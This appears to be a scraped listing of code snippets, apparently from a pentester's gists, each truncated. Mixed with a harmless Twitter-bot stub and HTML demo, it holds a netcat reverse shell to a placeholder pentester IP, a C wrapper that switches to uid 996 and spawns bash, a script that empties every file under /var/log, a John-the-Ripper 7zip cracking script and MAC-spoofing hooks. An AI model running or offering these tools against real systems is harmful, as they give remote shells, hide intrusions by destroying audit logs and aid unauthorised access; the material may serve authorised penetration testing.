This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#include <sys/types.h> | |
#include <unistd.h> | |
int main() | |
{ | |
setresuid(996, 996, 996); | |
setresgid(996, 996, 996); | |
system( "/bin/bash" ); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
nc <PENTESTER IP> 9999 -e /bin/bash |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdlib.h> | |
#include <unistd.h> | |
#include <string.h> | |
#include <sys/types.h> | |
#include <stdio.h> | |
#include <fcntl.h> | |
int main(int argc, char **argv, char **envp) | |
{ | |
char buf[1024]; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!doctype html> | |
<html lang="en"> | |
<head> | |
<meta charset="utf-8"> | |
<title>submit demo</title> | |
<style> | |
p { | |
margin: 0; | |
color: blue; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
module.exports = { | |
consumer_key: '', | |
consumer_secret: '', | |
access_token: '', | |
access_token_secret: '' | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Our Twitter library | |
var Twit = require('twit'); | |
var T = new Twit(require('./config.js')); | |
function datestring () { | |
var d = new Date(Date.now() - 5*60*60*1000); //est timezone | |
return d.getUTCFullYear() + '-' | |
+ (d.getUTCMonth() + 1) + '-' | |
+ d.getDate(); | |
}; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# 7zip-JTR Decrypt Script | |
# | |
# Clone of JTR Decrypt Scripts by synacl modified for 7zip | |
# - RAR-JTR Decrypt Script - https://synacl.wordpress.com/2012/02/10/using-john-the-ripper-to-crack-a-password-protected-rar-archive/ | |
# - ZIP-JTR Decrypt Script - https://synacl.wordpress.com/2012/08/18/decrypting-a-zip-using-john-the-ripper/ | |
echo "7zip-JTR Decrypt Script"; | |
if [ $# -ne 2 ] | |
then |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
description "change mac addresses" | |
start on starting network-manager | |
pre-start script | |
/usr/bin/macchanger -A eth0 | |
end script |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
MACCHANGER=/usr/bin/macchanger | |
[ "$IFACE" != "lo" ] || exit 0 | |
# Bring down interface (for wireless cards that are up to scan for networks), change MAC address to a random vendor address, bring up the interface | |
/sbin/ifconfig "$IFACE" down | |
macchanger -A "$IFACE" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function clearlogs { | |
find /var/log -type f | |
} | |
for i in return $(clearlogs); | |
do sudo cat /dev/null > $i; | |
echo "Log $i has been cleared"; | |
done |